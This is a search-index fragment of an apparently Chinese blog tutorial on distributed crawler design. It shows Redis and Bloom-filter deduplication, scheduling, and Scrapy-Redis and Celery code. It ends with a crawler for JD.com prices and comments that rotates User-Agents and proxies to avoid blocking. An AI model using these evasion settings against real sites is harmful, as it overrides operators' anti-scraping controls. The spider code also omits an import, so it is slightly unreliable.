","date":"2025-04-26","objectID":"/reverse_engineering/web/06-engineering/distributed_scraping/:3:2","tags":["Web","Docker","代理池","工程实践","分布式","社交媒体"],"title":"分布式爬虫架构","uri":"/reverse_engineering/web/06-engineering/distributed_scraping/#1-基于-redis-set"},{"categories":null,"collections":null,"content":"URL 去重策略 1. 基于 Redis Set 原理：使用 Redis 的 Set 数据结构存储已爬取的 URL 的哈希值。 优点： 实现简单 查询速度快（O(1)） 支持分布式 缺点： 内存占用大（1 亿 URL 约需 4-8 GB） 实现示例： import redis import hashlib class RedisDeduplicator: def __init__(self, host='localhost', port=6379): self.r = redis.Redis(host=host, port=port) self.key = 'crawler:urls' def url_hash(self, url): \"\"\"计算 URL 哈希\"\"\" return hashlib.md5(url.encode()).hexdigest() def is_duplicate(self, url): \"\"\"检查 URL 是否重复\"\"\" url_hash = self.url_hash(url) return self.r.sismember(self.key, url_hash) def add_url(self, url): \"\"\"添加 URL 到去重集合\"\"\" url_hash = self.url_hash(url) return self.r.sadd(self.key, url_hash) def check_and_add(self, url): \"\"\"检查并添加（原子操作）\"\"\" url_hash = self.url_hash(url) # 返回 1 表示新 URL，0 表示重复 return self.r.sadd(self.key, url_hash) == 1 2. 基于 Bloom Filter（布隆过滤器） 原理：使用多个哈希函数将 URL 映射到位数组，空间效率极高但存在一定误判率。 优点： 内存占用极小（1 亿 URL 约需 120 MB，误判率 0.1%） 查询速度快 适合海量数据去重 缺点： 存在误判（可能将未爬取的 URL 误判为已爬取） 无法删除已添加的元素 参数配置建议： 数据量 位数组大小 (bit) 哈希函数个数 误判率 内存占用 1000 万 2^27 (128M) 6 0.1% 16 MB 1 亿 2^30 (1G) 6 0.1% 128 MB 10 亿 2^33 (8G) 7 0.01% 1 GB 实现示例： # 安装：pip install scrapy-redis-bloomfilter # settings.py DUPEFILTER_CLASS = 'scrapy_redis_bloomfilter.dupefilter.RFPDupeFilter' # BloomFilter 配置 BLOOMFILTER_HASH_NUMBER = 6 # 哈希函数个数 BLOOMFILTER_BIT = 30 # 位数组大小 2^30 (约1G) # Redis 配置 REDIS_HOST = 'localhost' REDIS_PORT = 6379 手动实现 Bloom Filter： import redis import mmh3 # pip install mmh3 class BloomFilter: def __init__(self, host='localhost', port=6379, bit_size=30, hash_count=6): self.r = redis.Redis(host=host, port=port) self.key = 'crawler:bloomfilter' self.bit_size = bit_size self.hash_count = hash_count self.size = 1 \u003c\u003c bit_size # 2^bit_size def _hash(self, url): \"\"\"生成多个哈希值\"\"\" hashes = [] for i in range(self.hash_count): hash_val = mmh3.hash(url, i) % self.size hashes.append(hash_val) return hashes def add(self, url): \"\"\"添加 URL\"\"\" for hash_val in self._hash(url): self.r.setbit(self.key, hash_val, 1) def contains(self, url): \"\"\"检查 URL 是否存在\"\"\" for hash_val in self._hash(url): if not self.r.getbit(self.key, hash_val): return False return True def check_and_add(self, url): \"\"\"检查并添加\"\"\" if self.contains(url): return False # 已存在（或误判） self.add(url) return True # 新 URL 3. 基于 Berkeley DB / LevelDB 适用场景：URL 数量特别大，需要持久化存储。 优点： 支持磁盘存储，不受内存限制 支持高效的键值查询 缺点： 速度比 Redis 慢 需要磁盘 I/O ","date":"2025-04-26","objectID":"/reverse_engineering/web/06-engineering/distributed_scraping/:3:2","tags":["Web","Docker","代理池","工程实践","分布式","社交媒体"],"title":"分布式爬虫架构","uri":"/reverse_engineering/web/06-engineering/distributed_scraping/#2-基于-bloom-filter布隆过滤器"},{"categories":null,"collections":null,"content":"URL 去重策略 1. 基于 Redis Set 原理：使用 Redis 的 Set 数据结构存储已爬取的 URL 的哈希值。 优点： 实现简单 查询速度快（O(1)） 支持分布式 缺点： 内存占用大（1 亿 URL 约需 4-8 GB） 实现示例： import redis import hashlib class RedisDeduplicator: def __init__(self, host='localhost', port=6379): self.r = redis.Redis(host=host, port=port) self.key = 'crawler:urls' def url_hash(self, url): \"\"\"计算 URL 哈希\"\"\" return hashlib.md5(url.encode()).hexdigest() def is_duplicate(self, url): \"\"\"检查 URL 是否重复\"\"\" url_hash = self.url_hash(url) return self.r.sismember(self.key, url_hash) def add_url(self, url): \"\"\"添加 URL 到去重集合\"\"\" url_hash = self.url_hash(url) return self.r.sadd(self.key, url_hash) def check_and_add(self, url): \"\"\"检查并添加（原子操作）\"\"\" url_hash = self.url_hash(url) # 返回 1 表示新 URL，0 表示重复 return self.r.sadd(self.key, url_hash) == 1 2. 基于 Bloom Filter（布隆过滤器） 原理：使用多个哈希函数将 URL 映射到位数组，空间效率极高但存在一定误判率。 优点： 内存占用极小（1 亿 URL 约需 120 MB，误判率 0.1%） 查询速度快 适合海量数据去重 缺点： 存在误判（可能将未爬取的 URL 误判为已爬取） 无法删除已添加的元素 参数配置建议： 数据量 位数组大小 (bit) 哈希函数个数 误判率 内存占用 1000 万 2^27 (128M) 6 0.1% 16 MB 1 亿 2^30 (1G) 6 0.1% 128 MB 10 亿 2^33 (8G) 7 0.01% 1 GB 实现示例： # 安装：pip install scrapy-redis-bloomfilter # settings.py DUPEFILTER_CLASS = 'scrapy_redis_bloomfilter.dupefilter.RFPDupeFilter' # BloomFilter 配置 BLOOMFILTER_HASH_NUMBER = 6 # 哈希函数个数 BLOOMFILTER_BIT = 30 # 位数组大小 2^30 (约1G) # Redis 配置 REDIS_HOST = 'localhost' REDIS_PORT = 6379 手动实现 Bloom Filter： import redis import mmh3 # pip install mmh3 class BloomFilter: def __init__(self, host='localhost', port=6379, bit_size=30, hash_count=6): self.r = redis.Redis(host=host, port=port) self.key = 'crawler:bloomfilter' self.bit_size = bit_size self.hash_count = hash_count self.size = 1 \u003c\u003c bit_size # 2^bit_size def _hash(self, url): \"\"\"生成多个哈希值\"\"\" hashes = [] for i in range(self.hash_count): hash_val = mmh3.hash(url, i) % self.size hashes.append(hash_val) return hashes def add(self, url): \"\"\"添加 URL\"\"\" for hash_val in self._hash(url): self.r.setbit(self.key, hash_val, 1) def contains(self, url): \"\"\"检查 URL 是否存在\"\"\" for hash_val in self._hash(url): if not self.r.getbit(self.key, hash_val): return False return True def check_and_add(self, url): \"\"\"检查并添加\"\"\" if self.contains(url): return False # 已存在（或误判） self.add(url) return True # 新 URL 3. 基于 Berkeley DB / LevelDB 适用场景：URL 数量特别大，需要持久化存储。 优点： 支持磁盘存储，不受内存限制 支持高效的键值查询 缺点： 速度比 Redis 慢 需要磁盘 I/O ","date":"2025-04-26","objectID":"/reverse_engineering/web/06-engineering/distributed_scraping/:3:2","tags":["Web","Docker","代理池","工程实践","分布式","社交媒体"],"title":"分布式爬虫架构","uri":"/reverse_engineering/web/06-engineering/distributed_scraping/#3-基于-berkeley-db--leveldb"},{"categories":null,"collections":null,"content":"任务调度策略 1. 优先级调度 使用 Redis ZSet（有序集合）实现优先级队列： import redis class PriorityQueue: def __init__(self, host='localhost', port=6379): self.r = redis.Redis(host=host, port=port) self.key = 'crawler:priority_queue' def push(self, url, priority=0): \"\"\"添加任务，priority 越大优先级越高\"\"\" self.r.zadd(self.key, {url: -priority}) # 负值使得大优先级排前 def pop(self): \"\"\"取出最高优先级任务\"\"\" result = self.r.zpopmin(self.key, 1) if result: url, score = result[0] return url.decode() return None def size(self): \"\"\"队列大小\"\"\" return self.r.zcard(self.key) 使用示例： queue = PriorityQueue() # 添加不同优先级的任务 queue.push('http://example.com/important', priority=10) queue.push('http://example.com/normal', priority=5) queue.push('http://example.com/low', priority=1) # 按优先级取出 print(queue.pop()) # http://example.com/important 2. 任务分片 将 URL 按哈希值分片，每个爬虫节点负责特定的分片： import hashlib class ShardedCrawler: def __init__(self, shard_id, total_shards): self.shard_id = shard_id self.total_shards = total_shards def belongs_to_me(self, url): \"\"\"判断 URL 是否属于当前分片\"\"\" url_hash = int(hashlib.md5(url.encode()).hexdigest(), 16) shard = url_hash % self.total_shards return shard == self.shard_id def should_crawl(self, url): \"\"\"是否应该爬取此 URL\"\"\" return self.belongs_to_me(url) 启动多个分片： # 启动 4 个爬虫节点，每个负责 1/4 的 URL python crawler.py --shard-id 0 --total-shards 4 python crawler.py --shard-id 1 --total-shards 4 python crawler.py --shard-id 2 --total-shards 4 python crawler.py --shard-id 3 --total-shards 4 ","date":"2025-04-26","objectID":"/reverse_engineering/web/06-engineering/distributed_scraping/:3:3","tags":["Web","Docker","代理池","工程实践","分布式","社交媒体"],"title":"分布式爬虫架构","uri":"/reverse_engineering/web/06-engineering/distributed_scraping/#任务调度策略"},{"categories":null,"collections":null,"content":"任务调度策略 1. 优先级调度 使用 Redis ZSet（有序集合）实现优先级队列： import redis class PriorityQueue: def __init__(self, host='localhost', port=6379): self.r = redis.Redis(host=host, port=port) self.key = 'crawler:priority_queue' def push(self, url, priority=0): \"\"\"添加任务，priority 越大优先级越高\"\"\" self.r.zadd(self.key, {url: -priority}) # 负值使得大优先级排前 def pop(self): \"\"\"取出最高优先级任务\"\"\" result = self.r.zpopmin(self.key, 1) if result: url, score = result[0] return url.decode() return None def size(self): \"\"\"队列大小\"\"\" return self.r.zcard(self.key) 使用示例： queue = PriorityQueue() # 添加不同优先级的任务 queue.push('http://example.com/important', priority=10) queue.push('http://example.com/normal', priority=5) queue.push('http://example.com/low', priority=1) # 按优先级取出 print(queue.pop()) # http://example.com/important 2. 任务分片 将 URL 按哈希值分片，每个爬虫节点负责特定的分片： import hashlib class ShardedCrawler: def __init__(self, shard_id, total_shards): self.shard_id = shard_id self.total_shards = total_shards def belongs_to_me(self, url): \"\"\"判断 URL 是否属于当前分片\"\"\" url_hash = int(hashlib.md5(url.encode()).hexdigest(), 16) shard = url_hash % self.total_shards return shard == self.shard_id def should_crawl(self, url): \"\"\"是否应该爬取此 URL\"\"\" return self.belongs_to_me(url) 启动多个分片： # 启动 4 个爬虫节点，每个负责 1/4 的 URL python crawler.py --shard-id 0 --total-shards 4 python crawler.py --shard-id 1 --total-shards 4 python crawler.py --shard-id 2 --total-shards 4 python crawler.py --shard-id 3 --total-shards 4 ","date":"2025-04-26","objectID":"/reverse_engineering/web/06-engineering/distributed_scraping/:3:3","tags":["Web","Docker","代理池","工程实践","分布式","社交媒体"],"title":"分布式爬虫架构","uri":"/reverse_engineering/web/06-engineering/distributed_scraping/#1-优先级调度"},{"categories":null,"collections":null,"content":"任务调度策略 1. 优先级调度 使用 Redis ZSet（有序集合）实现优先级队列： import redis class PriorityQueue: def __init__(self, host='localhost', port=6379): self.r = redis.Redis(host=host, port=port) self.key = 'crawler:priority_queue' def push(self, url, priority=0): \"\"\"添加任务，priority 越大优先级越高\"\"\" self.r.zadd(self.key, {url: -priority}) # 负值使得大优先级排前 def pop(self): \"\"\"取出最高优先级任务\"\"\" result = self.r.zpopmin(self.key, 1) if result: url, score = result[0] return url.decode() return None def size(self): \"\"\"队列大小\"\"\" return self.r.zcard(self.key) 使用示例： queue = PriorityQueue() # 添加不同优先级的任务 queue.push('http://example.com/important', priority=10) queue.push('http://example.com/normal', priority=5) queue.push('http://example.com/low', priority=1) # 按优先级取出 print(queue.pop()) # http://example.com/important 2. 任务分片 将 URL 按哈希值分片，每个爬虫节点负责特定的分片： import hashlib class ShardedCrawler: def __init__(self, shard_id, total_shards): self.shard_id = shard_id self.total_shards = total_shards def belongs_to_me(self, url): \"\"\"判断 URL 是否属于当前分片\"\"\" url_hash = int(hashlib.md5(url.encode()).hexdigest(), 16) shard = url_hash % self.total_shards return shard == self.shard_id def should_crawl(self, url): \"\"\"是否应该爬取此 URL\"\"\" return self.belongs_to_me(url) 启动多个分片： # 启动 4 个爬虫节点，每个负责 1/4 的 URL python crawler.py --shard-id 0 --total-shards 4 python crawler.py --shard-id 1 --total-shards 4 python crawler.py --shard-id 2 --total-shards 4 python crawler.py --shard-id 3 --total-shards 4 ","date":"2025-04-26","objectID":"/reverse_engineering/web/06-engineering/distributed_scraping/:3:3","tags":["Web","Docker","代理池","工程实践","分布式","社交媒体"],"title":"分布式爬虫架构","uri":"/reverse_engineering/web/06-engineering/distributed_scraping/#2-任务分片"},{"categories":null,"collections":null,"content":"负载均衡 动态负载调整 import redis import time class LoadBalancer: def __init__(self, node_id): self.r = redis.Redis() self.node_id = node_id self.heartbeat_key = f'crawler:heartbeat:{node_id}' self.load_key = 'crawler:node_loads' def report_heartbeat(self, current_load): \"\"\"上报心跳和当前负载\"\"\" self.r.setex(self.heartbeat_key, 30, current_load) self.r.zadd(self.load_key, {self.node_id: current_load}) def get_active_nodes(self): \"\"\"获取活跃节点\"\"\" nodes = [] for key in self.r.scan_iter('crawler:heartbeat:*'): node_id = key.decode().split(':')[-1] load = int(self.r.get(key) or 0) nodes.append((node_id, load)) return nodes def get_least_loaded_node(self): \"\"\"获取负载最小的节点\"\"\" result = self.r.zrange(self.load_key, 0, 0, withscores=True) if result: node_id, load = result[0] return node_id.decode(), int(load) return None, None ","date":"2025-04-26","objectID":"/reverse_engineering/web/06-engineering/distributed_scraping/:3:4","tags":["Web","Docker","代理池","工程实践","分布式","社交媒体"],"title":"分布式爬虫架构","uri":"/reverse_engineering/web/06-engineering/distributed_scraping/#负载均衡"},{"categories":null,"collections":null,"content":"负载均衡 动态负载调整 import redis import time class LoadBalancer: def __init__(self, node_id): self.r = redis.Redis() self.node_id = node_id self.heartbeat_key = f'crawler:heartbeat:{node_id}' self.load_key = 'crawler:node_loads' def report_heartbeat(self, current_load): \"\"\"上报心跳和当前负载\"\"\" self.r.setex(self.heartbeat_key, 30, current_load) self.r.zadd(self.load_key, {self.node_id: current_load}) def get_active_nodes(self): \"\"\"获取活跃节点\"\"\" nodes = [] for key in self.r.scan_iter('crawler:heartbeat:*'): node_id = key.decode().split(':')[-1] load = int(self.r.get(key) or 0) nodes.append((node_id, load)) return nodes def get_least_loaded_node(self): \"\"\"获取负载最小的节点\"\"\" result = self.r.zrange(self.load_key, 0, 0, withscores=True) if result: node_id, load = result[0] return node_id.decode(), int(load) return None, None ","date":"2025-04-26","objectID":"/reverse_engineering/web/06-engineering/distributed_scraping/:3:4","tags":["Web","Docker","代理池","工程实践","分布式","社交媒体"],"title":"分布式爬虫架构","uri":"/reverse_engineering/web/06-engineering/distributed_scraping/#动态负载调整"},{"categories":null,"collections":null,"content":"实战示例 ","date":"2025-04-26","objectID":"/reverse_engineering/web/06-engineering/distributed_scraping/:4:0","tags":["Web","Docker","代理池","工程实践","分布式","社交媒体"],"title":"分布式爬虫架构","uri":"/reverse_engineering/web/06-engineering/distributed_scraping/#实战示例"},{"categories":null,"collections":null,"content":"示例 1：Scrapy-Redis 完整实现 项目结构： distributed_crawler/ ├── scrapy.cfg ├── crawler/ │ ├── __init__.py │ ├── settings.py │ ├── spiders/ │ │ ├── __init__.py │ │ └── example_spider.py │ ├── items.py │ └── pipelines.py └── requirements.txt settings.py 配置： # Scrapy-Redis 配置 SCHEDULER = \"scrapy_redis.scheduler.Scheduler\" DUPEFILTER_CLASS = \"scrapy_redis_bloomfilter.dupefilter.RFPDupeFilter\" # BloomFilter 配置 BLOOMFILTER_HASH_NUMBER = 6 BLOOMFILTER_BIT = 30 # 支持约 1 亿 URL # Redis 配置 REDIS_HOST = 'redis.example.com' REDIS_PORT = 6379 REDIS_PARAMS = {'password': 'yourpassword', 'db': 0} # 持久化队列 SCHEDULER_PERSIST = True # Pipeline 配置 ITEM_PIPELINES = { 'crawler.pipelines.MongoDBPipeline': 300, } # MongoDB 配置 MONGODB_URI = 'mongodb://localhost:27017' MONGODB_DATABASE = 'crawler' # 并发配置 CONCURRENT_REQUESTS = 32 CONCURRENT_REQUESTS_PER_DOMAIN = 8 DOWNLOAD_DELAY = 0.5 # 自动限速 AUTOTHROTTLE_ENABLED = True AUTOTHROTTLE_START_DELAY = 1 AUTOTHROTTLE_TARGET_CONCURRENCY = 32 爬虫实现： # spiders/example_spider.py from scrapy_redis.spiders import RedisSpider from crawler.items import NewsItem class ExampleSpider(RedisSpider): name = 'example' redis_key = 'example:start_urls' custom_settings = { 'DEPTH_LIMIT': 3, # 最大深度 } def parse(self, response): \"\"\"解析列表页\"\"\" # 提取新闻链接 for url in response.css('a.news-link::attr(href)').getall(): yield response.follow(url, callback=self.parse_detail) # 提取下一页 next_page = response.css('a.next-page::attr(href)').get() if next_page: yield response.follow(next_page, callback=self.parse) def parse_detail(self, response): \"\"\"解析详情页\"\"\" item = NewsItem() item['url'] = response.url item['title'] = response.css('h1::text').get() item['content'] = response.css('div.content::text').getall() item['publish_time'] = response.css('span.time::text').get() yield item Pipeline 实现： # pipelines.py import pymongo from itemadapter import ItemAdapter class MongoDBPipeline: def __init__(self, mongo_uri, mongo_db): self.mongo_uri = mongo_uri self.mongo_db = mongo_db @classmethod def from_crawler(cls, crawler): return cls( mongo_uri=crawler.settings.get('MONGODB_URI'), mongo_db=crawler.settings.get('MONGODB_DATABASE') ) def open_spider(self, spider): self.client = pymongo.MongoClient(self.mongo_uri) self.db = self.client[self.mongo_db] def close_spider(self, spider): self.client.close() def process_item(self, item, spider): collection = self.db[spider.name] item_dict = ItemAdapter(item).asdict() collection.update_one( {'url': item_dict['url']}, {'$set': item_dict}, upsert=True ) return item 部署和运行： # 在机器 A 启动爬虫 scrapy crawl example # 在机器 B 启动爬虫 scrapy crawl example # 在机器 C 启动爬虫 scrapy crawl example # 添加起始 URL（在任意机器） redis-cli -h redis.example.com -a yourpassword lpush example:start_urls \"http://example.com\" redis-cli -h redis.example.com -a yourpassword lpush example:start_urls \"http://example.com/page1\" redis-cli -h redis.example.com -a yourpassword lpush example:start_urls \"http://example.com/page2\" # 查看队列状态 redis-cli -h redis.example.com -a yourpassword llen example:requests redis-cli -h redis.example.com -a yourpassword scard example:dupefilter ","date":"2025-04-26","objectID":"/reverse_engineering/web/06-engineering/distributed_scraping/:4:1","tags":["Web","Docker","代理池","工程实践","分布式","社交媒体"],"title":"分布式爬虫架构","uri":"/reverse_engineering/web/06-engineering/distributed_scraping/#示例-1scrapy-redis-完整实现"},{"categories":null,"collections":null,"content":"示例 2：Celery 异步爬虫 # tasks.py from celery import Celery import requests from bs4 import BeautifulSoup app = Celery('crawler', broker='redis://localhost:6379/0', backend='redis://localhost:6379/0') @app.task(bind=True, max_retries=3) def crawl_url(self, url): \"\"\"爬取单个 URL\"\"\" try: response = requests.get(url, timeout=10) soup = BeautifulSoup(response.text, 'html.parser') # 提取数据 data = { 'url': url, 'title': soup.find('h1').text if soup.find('h1') else '', 'links': [a['href'] for a in soup.find_all('a', href=True)] } # 存储数据 save_to_database(data) # 提交新的爬取任务 for link in data['links'][:10]: # 限制每页最多提取 10 个链接 crawl_url.apply_async(args=[link], countdown=2) return data except Exception as exc: # 失败后 60 秒重试 raise self.retry(exc=exc, countdown=60) def save_to_database(data): \"\"\"保存数据到数据库\"\"\" # 实现数据存储逻辑 pass 运行： # 启动多个 Worker celery -A tasks worker --loglevel=info --concurrency=10 # 提交任务 python -c \"from tasks import crawl_url; crawl_url.delay('http://example.com')\" # 监控 celery -A tasks flower # 访问 http://localhost:5555 ","date":"2025-04-26","objectID":"/reverse_engineering/web/06-engineering/distributed_scraping/:4:2","tags":["Web","Docker","代理池","工程实践","分布式","社交媒体"],"title":"分布式爬虫架构","uri":"/reverse_engineering/web/06-engineering/distributed_scraping/#示例-2celery-异步爬虫"},{"categories":null,"collections":null,"content":"示例 3：真实案例 - 京东商品信息分布式爬虫 项目背景：某数据分析公司需要采集京东平台上特定类目（如图书、电子产品）的商品信息，包括价格、评论、销量等数据，用于市场分析和价格监控。数据规模：约 500 万商品，1 亿+评论。 架构设计 系统架构： ┌──────────────┐ │ Master 节点 │ │ (Redis) │ │ ┌──────────┐ │ │ │ 任务队列 │ │ │ │ 去重集合 │ │ │ │ BloomFilter│ │ │ └──────────┘ │ └──────┬───────┘ │ ┌───┴────┬────────┬────────┐ ↓ ↓ ↓ ↓ ┌─────┐ ┌─────┐ ┌─────┐ ┌─────┐ │Slave1│ │Slave2│ │Slave3│ │SlaveN│ │爬虫节点│ │爬虫节点│ │爬虫节点│ │爬虫节点│ └──┬──┘ └──┬──┘ └──┬──┘ └──┬──┘ │ │ │ │ └────────┴────────┴────────┘ ↓ ┌───────────────┐ │ MongoDB │ │ (数据存储) │ └───────────────┘ 性能指标 通过分布式架构实现了显著的性能提升： 爬取速度：从单机 1.5 小时降低到 10 分钟（9x 提升） 并发处理：4 个爬虫节点，每节点 16 并发，总计 64 并发请求 去重效率：使用 Bloom Filter，1 亿 URL 仅占用 128 MB 内存 硬件利用率：达到 85%+ 的 CPU 利用率 总处理量：40x+ 的处理能力提升（相比单机） 实现代码 settings.py 配置： # Scrapy-Redis 分布式配置 SCHEDULER = \"scrapy_redis.scheduler.Scheduler\" DUPEFILTER_CLASS = \"scrapy_redis_bloomfilter.dupefilter.RFPDupeFilter\" # BloomFilter 配置（适配亿级数据） BLOOMFILTER_HASH_NUMBER = 7 BLOOMFILTER_BIT = 33 # 2^33，支持 10 亿+ URL # Redis 主节点配置 REDIS_HOST = '192.168.1.100' REDIS_PORT = 6379 REDIS_PARAMS = { 'password': 'your_redis_password', 'db': 0, 'socket_keepalive': True, 'max_connections': 200, } # 持久化配置（支持断点续爬） SCHEDULER_PERSIST = True SCHEDULER_QUEUE_KEY = '%(spider)s:requests' SCHEDULER_DUPEFILTER_KEY = '%(spider)s:dupefilter' # Pipeline 配置 ITEM_PIPELINES = { 'jd_crawler.pipelines.MongoDBPipeline': 300, 'jd_crawler.pipelines.ImageDownloadPipeline': 400, } # MongoDB 配置 MONGODB_URI = 'mongodb://192.168.1.101:27017' MONGODB_DATABASE = 'jd_products' MONGODB_COLLECTION = 'products' # 并发和延迟配置 CONCURRENT_REQUESTS = 64 # 总并发数 CONCURRENT_REQUESTS_PER_DOMAIN = 16 # 单域名并发 DOWNLOAD_DELAY = 0.2 # 下载延迟 RANDOMIZE_DOWNLOAD_DELAY = True # 随机化延迟 # 自动限速（防止被封） AUTOTHROTTLE_ENABLED = True AUTOTHROTTLE_START_DELAY = 0.5 AUTOTHROTTLE_MAX_DELAY = 3 AUTOTHROTTLE_TARGET_CONCURRENCY = 16.0 # User-Agent 轮换 DOWNLOADER_MIDDLEWARES = { 'scrapy.downloadermiddlewares.useragent.UserAgentMiddleware': None, 'jd_crawler.middlewares.RandomUserAgentMiddleware': 400, 'jd_crawler.middlewares.ProxyMiddleware': 410, } # Cookies 配置 COOKIES_ENABLED = True COOKIES_DEBUG = False spiders/jd_spider.py 爬虫实现： from scrapy_redis.spiders import RedisSpider from jd_crawler.items import ProductItem import json import re class JDSpider(RedisSpider): name = 'jd' redis_key = 'jd:start_urls' # 允许的域名 allowed_domains = ['jd.com', '3.cn'] custom_settings = { 'DEPTH_LIMIT': 5, # 最大爬取深度 } def parse(self, response): \"\"\"解析商品列表页\"\"\" # 提取商品链接 product_links = response.css('div.gl-i-wrap div.p-img a::attr(href)').getall() for link in product_links: if not link.startswith('http'): link = 'https:' + link yield scrapy.Request(link, callback=self.parse_product_detail) # 翻页 next_page = response.css('a.pn-next::attr(href)').get() if next_page: yield response.follow(next_page, callback=self.parse) def parse_product_detail(self, response): \"\"\"解析商品详情页\"\"\" item = ProductItem() # 基本信息 item['product_id'] = self.extract_product_id(response.url) item['url'] = response.url item['title'] = response.css('div.sku-name::text').get('').strip() item['brand'] = response.css('ul#parameter-brand li a::text').get('') # 价格信息（需要额外请求） price_url = f'https://p.3.cn/prices/mgets?skuIds=J_{item[\"product_id\"]}' yield scrapy.Request( price_url, callback=self.parse_price, meta={'item': item} ) def parse_price(self, response): \"\"\"解析价格信息\"\"\" item = response.meta['item'] try: data = json.loads(response.text) if data: item['price'] = data[0].get('p', '0') item['market_price'] = data[0].get('m', '0') except: item['price'] = '0' item['market_price'] = '0' # 评论数据（需要额外请求） comment_url = f'https://club.jd.com/comment/productPageComments.action?productId={item[\"product_id\"]}\u0026score=0\u0026sortType=5\u0026page=0\u0026pageSize=10' yield scrapy.Request( comment_url, callback=self.parse_comment, meta={'item': item} ) def parse_comment(self, response): \"\"\"解析评论信息\"\"\" item = response.meta['item'] try: data = json.loads(response.text) item['comment_count'] = data.get('productCommentSummary', {}).get('commentCount', 0) item['good_rate'] = data","date":"2025-04-26","objectID":"/reverse_engineering/web/06-engineering/distributed_scraping/:4:3","tags":["Web","Docker","代理池","工程实践","分布式","社交媒体"],"title":"分布式爬虫架构","uri":"/reverse_engineering/web/06-engineering/distributed_scraping/#示例-3真实案例---京东商品信息分布式爬虫"},{"categories":null,"collections":null,"content":"示例 3：真实案例 - 京东商品信息分布式爬虫 项目背景：某数据分析公司需要采集京东平台上特定类目（如图书、电子产品）的商品信息，包括价格、评论、销量等数据，用于市场分析和价格监控。数据规模：约 500 万商品，1 亿+评论。 架构设计 系统架构： ┌──────────────┐ │ Master 节点 │ │ (Redis) │ │ ┌──────────┐ │ │ │ 任务队列 │ │ │ │ 去重集合 │ │ │ │ BloomFilter│ │ │ └──────────┘ │ └──────┬───────┘ │ ┌───┴────┬────────┬────────┐ ↓ ↓ ↓ ↓ ┌─────┐ ┌─────┐ ┌─────┐ ┌─────┐ │Slave1│ │Slave2│ │Slave3│ │SlaveN│ │爬虫节点│ │爬虫节点│ │爬虫节点│ │爬虫节点│ └──┬──┘ └──┬──┘ └──┬──┘ └──┬──┘ │ │ │ │ └────────┴────────┴────────┘ ↓ ┌───────────────┐ │ MongoDB │ │ (数据存储) │ └───────────────┘ 性能指标 通过分布式架构实现了显著的性能提升： 爬取速度：从单机 1.5 小时降低到 10 分钟（9x 提升） 并发处理：4 个爬虫节点，每节点 16 并发，总计 64 并发请求 去重效率：使用 Bloom Filter，1 亿 URL 仅占用 128 MB 内存 硬件利用率：达到 85%+ 的 CPU 利用率 总处理量：40x+ 的处理能力提升（相比单机） 实现代码 settings.py 配置： # Scrapy-Redis 分布式配置 SCHEDULER = \"scrapy_redis.scheduler.Scheduler\" DUPEFILTER_CLASS = \"scrapy_redis_bloomfilter.dupefilter.RFPDupeFilter\" # BloomFilter 配置（适配亿级数据） BLOOMFILTER_HASH_NUMBER = 7 BLOOMFILTER_BIT = 33 # 2^33，支持 10 亿+ URL # Redis 主节点配置 REDIS_HOST = '192.168.1.100' REDIS_PORT = 6379 REDIS_PARAMS = { 'password': 'your_redis_password', 'db': 0, 'socket_keepalive': True, 'max_connections': 200, } # 持久化配置（支持断点续爬） SCHEDULER_PERSIST = True SCHEDULER_QUEUE_KEY = '%(spider)s:requests' SCHEDULER_DUPEFILTER_KEY = '%(spider)s:dupefilter' # Pipeline 配置 ITEM_PIPELINES = { 'jd_crawler.pipelines.MongoDBPipeline': 300, 'jd_crawler.pipelines.ImageDownloadPipeline': 400, } # MongoDB 配置 MONGODB_URI = 'mongodb://192.168.1.101:27017' MONGODB_DATABASE = 'jd_products' MONGODB_COLLECTION = 'products' # 并发和延迟配置 CONCURRENT_REQUESTS = 64 # 总并发数 CONCURRENT_REQUESTS_PER_DOMAIN = 16 # 单域名并发 DOWNLOAD_DELAY = 0.2 # 下载延迟 RANDOMIZE_DOWNLOAD_DELAY = True # 随机化延迟 # 自动限速（防止被封） AUTOTHROTTLE_ENABLED = True AUTOTHROTTLE_START_DELAY = 0.5 AUTOTHROTTLE_MAX_DELAY = 3 AUTOTHROTTLE_TARGET_CONCURRENCY = 16.0 # User-Agent 轮换 DOWNLOADER_MIDDLEWARES = { 'scrapy.downloadermiddlewares.useragent.UserAgentMiddleware': None, 'jd_crawler.middlewares.RandomUserAgentMiddleware': 400, 'jd_crawler.middlewares.ProxyMiddleware': 410, } # Cookies 配置 COOKIES_ENABLED = True COOKIES_DEBUG = False spiders/jd_spider.py 爬虫实现： from scrapy_redis.spiders import RedisSpider from jd_crawler.items import ProductItem import json import re class JDSpider(RedisSpider): name = 'jd' redis_key = 'jd:start_urls' # 允许的域名 allowed_domains = ['jd.com', '3.cn'] custom_settings = { 'DEPTH_LIMIT': 5, # 最大爬取深度 } def parse(self, response): \"\"\"解析商品列表页\"\"\" # 提取商品链接 product_links = response.css('div.gl-i-wrap div.p-img a::attr(href)').getall() for link in product_links: if not link.startswith('http'): link = 'https:' + link yield scrapy.Request(link, callback=self.parse_product_detail) # 翻页 next_page = response.css('a.pn-next::attr(href)').get() if next_page: yield response.follow(next_page, callback=self.parse) def parse_product_detail(self, response): \"\"\"解析商品详情页\"\"\" item = ProductItem() # 基本信息 item['product_id'] = self.extract_product_id(response.url) item['url'] = response.url item['title'] = response.css('div.sku-name::text').get('').strip() item['brand'] = response.css('ul#parameter-brand li a::text').get('') # 价格信息（需要额外请求） price_url = f'https://p.3.cn/prices/mgets?skuIds=J_{item[\"product_id\"]}' yield scrapy.Request( price_url, callback=self.parse_price, meta={'item': item} ) def parse_price(self, response): \"\"\"解析价格信息\"\"\" item = response.meta['item'] try: data = json.loads(response.text) if data: item['price'] = data[0].get('p', '0') item['market_price'] = data[0].get('m', '0') except: item['price'] = '0' item['market_price'] = '0' # 评论数据（需要额外请求） comment_url = f'https://club.jd.com/comment/productPageComments.action?productId={item[\"product_id\"]}\u0026score=0\u0026sortType=5\u0026page=0\u0026pageSize=10' yield scrapy.Request( comment_url, callback=self.parse_comment, meta={'item': item} ) def parse_comment(self, response): \"\"\"解析评论信息\"\"\" item = response.meta['item'] try: data = json.loads(response.text) item['comment_count'] = data.get('productCommentSummary', {}).get('commentCount', 0) item['good_rate'] = data","date":"2025-04-26","objectID":"/reverse_engineering/web/06-engineering/distributed_scraping/:4:3","tags":["Web","Docker","代理池","工程实践","分布式","社交媒体"],"title":"分布式爬虫架构","uri":"/reverse_engineering/web/06-engineering/distributed_scraping/#架构设计"},{"categories":null,"collections":null,"content":"示例 3：真实案例 - 京东商品信息分布式爬虫 项目背景：某数据分析公司需要采集京东平台上特定类目（如图书、电子产品）的商品信息，包括价格、评论、销量等数据，用于市场分析和价格监控。数据规模：约 500 